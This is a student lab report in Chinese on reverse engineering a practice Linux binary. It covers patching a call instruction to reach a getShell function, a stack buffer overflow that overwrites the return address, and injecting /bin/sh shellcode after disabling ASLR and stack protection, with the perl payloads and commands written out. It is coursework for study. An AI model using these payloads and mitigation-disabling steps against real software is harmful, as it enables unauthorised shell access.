2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解
实践目的
- 本次实践的对象是一个名为
pwn1
的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 - 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行Shellcode。
基础知识
NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!(如果我没理解错的话,实验二三就是让堆里的数据溢出到栈里吗。?) - 注入一个自己制作的shellcode并运行这段shellcode。
任务一、直接修改程序机器指令,改变程序执行流程
使用`objdump -d 20165314pwn1`将pwn1反汇编
不难看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>
这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。
如果我们想让函数调用getShell,只需要修改d7 ff ff ff
即可。根据foo
函数与getShell
地址的偏移量,我们计算出应该改为c3 ff ff ff
。
修改步骤如下:
1.vim 20165314pwn1
进入命令模式
2.输入:%!xxd
将显示模式切换为十六进制
3.在底行模式输入/e8 d7
定位需要修改的地方,并确认
4.进入插入模式,修改d7
为c3
5.输入:%!xxd -r
将十六进制转换为原格式
6.输入:wq
保存并退出
反汇编查看修改后的代码,发现call指令正确调用getShell
运行修改后的代码,可以得到shell提示符
任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
实验思路:
pwn2正常运行是调用函数foo
,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
1、运行pwn2,打开另一个终端窗口进入gdb,在foo函数的ret指令处设置断点,回到pwn2运行的终端输入字串1111111122222222333333334444444455555555
,观察一下各寄存器的值
此时eip寄存器中的值为0x35353535
,即5555的ASCII码。eip
寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。
2、将输入字符串的“55555555”改成“12345678”,此时寄存器eip的值,换算成ASCⅡ码刚好是1234。
也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d
,因无法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)
3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,由于kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a表示回车换行。
4、然后将input```,通过管道符“|”,作为pwn1的输入,格式为```(cat input; cat ) | ./pwn
。
攻击成功
任务三、注入Shellcode并运行攻击
实验思路:注入shellcode使覆盖后的返回地址为shellcode()的起始地址
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 首先使用
apt-get install execstack
命令安装execstack
。
修改以下内容
设置堆栈可执行 execstack -s pwn2
查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space
3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)
采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
,
用perl语言输入代码perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1
将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。
3.2确定返回地址的值
将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2
,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2
确定pwn2的进程号
- 启动gdb调试这个程序
gdb
,attach 3900
- 设置断点来查看注入buf的内存地址
disassemble foo
ret的地址为0x080484ae
,ret执行完就会跳到我们覆盖的返回地址了 break *0x080484ae
设置断点- 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
- 再在gdb调试的终端输入 c 继续运行程序
- 通过
info r esp
查看esp寄存器的地址
上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290
退出gdb调试。 - 修改注入代码的覆盖地址
输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行程序,攻击成功
实验中遇到问题及解决方法
Q:下载的pwn1无法修改,提示权限不够
A:输入chmod a+x pwn1
修改权限即可,关于出现这个问题的原因我跟其他同学讨论了一下,得到的结论是64位的大段机器不能直接运行pwn,但是32位的小端机器可以直接运行,but..why?
Q:注入修改后的shellcode之后运行pwn3提示段错误
A:重新设置堆栈可执行
Q:实验一中修改pwn1后无法运行
A:在十六进制下修改pwn1文件之后要用%!xxd -r
改回原来的格式
PS:周一有同学问我pwn执行提示无法执行二进制文件,老师在群里说是没安装32位的库所以不兼容的问题,我拿做完实验二的pwn2试了一下也出现这种问题,所以我以为是注入的代码会对程序本身造成破坏 ,但是我第二天把初始pwn1重新做了一遍就没出现这种情况
实验收获与感想
收获:进一步理解了缓存溢出的过程与危害,学会了利用BOF漏洞进行攻击,自己上手操作还是会有很多细节做得不对或者不懂,还是应该多问问老师和其他同学
什么是漏洞?有什么危害
emmm看到这个问题我愣了一下,就这么让我描述我有点懵,复制一句我百度到的,“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏,也有可能是功能层面的破坏,就比如说我们学过的SYNFLOOD攻击,利用TCP协议等待响应包的漏洞,使得目标机无法响应正常包,而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务,或无法执行已授权的服务,例如,无法正常响应收到的包,又或者是访问者可以访问未收钱的数据等等。
2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- [BZOJ 1095] [ZJOI 2007] 捉迷藏
Description 传送门 Solution 先将原树转化成点分树: 然后维护三个堆: \(c[i]\) 保存点分树中子树 \(i\) 中的黑色节点到 \(fa[i]\) 的距离: \(b[i]\ ...
- Web开发基础-Node.js-01
01-浏览器工作原理 1)人机交互部分(ui) 2)网络请求部分(socket) 3)javascript引擎 4)渲染引擎(解析html,css) 5)数据存储部分(cookie,本地存储等) -- ...
- BZOJ 2733 永无乡
splay启发式合并 启发式合并其实就是把集合数量小的合并到集合数量大的里去. 怎么合并呢,直接一个一个插入就行了.. 用并查集维护连通性,find(i)可以找到所在splay的编号 这题好像还可以合 ...
- 【SEERC2018A】【XSY3319】Numbers
给你一个数 \(n\),求有多少种方案能把 \(n\) 分成两个非零回文数 \((a,b)\) 之和. 两个方案不同当且仅当 \(a_1\neq a_2\). \(n\leq {10}^{18}\) ...
- magento-2.2.6-1VM环境镜像-沙箱 - - 完全隔离的环境
打包处理下载地址: 链接:https://pan.baidu.com/s/1HX0WjWEN8Wc-4TDvgEWMog 提取码:s2ls 官方下载 文档 BITNAMI MAGENTO堆栈虚拟机 B ...
- 解析.DBC文件, 读懂CAN通信矩阵,实现车内信号仿真
通常我们拿到某个ECU的通信矩阵数据库文件,.dbc后缀名的文件. 直接使用CANdb++ Editor打开,可以很直观的读懂信号矩阵的信息,例如下图: 现在要把上图呈现的信号从.dbc文件中解析出来 ...
- Quick RF Tips for General Reference
传送门:http://www.microwavetools.com/rf-tips-to-make-you-look-smart/ 全文搬运过来的,本篇文章并未有其它意义和目的,仅作为个人参考笔记,我 ...
- va_start
#include <stdarg.h> void va_start(va_list ap, last); type va_arg(va_list ap, type); void va_en ...
- sql笔试题
笔试题1: 1.select * from tablex where name = "张*" order by age 默认升序 select * from table ...
- sk-learn 决策树的超参数
一.参数criterion:特征选择标准,[entropy, gini].默认gini,即CART算法. splitter:特征划分标准,[best, random].best在特征的所有划分点中找出 ...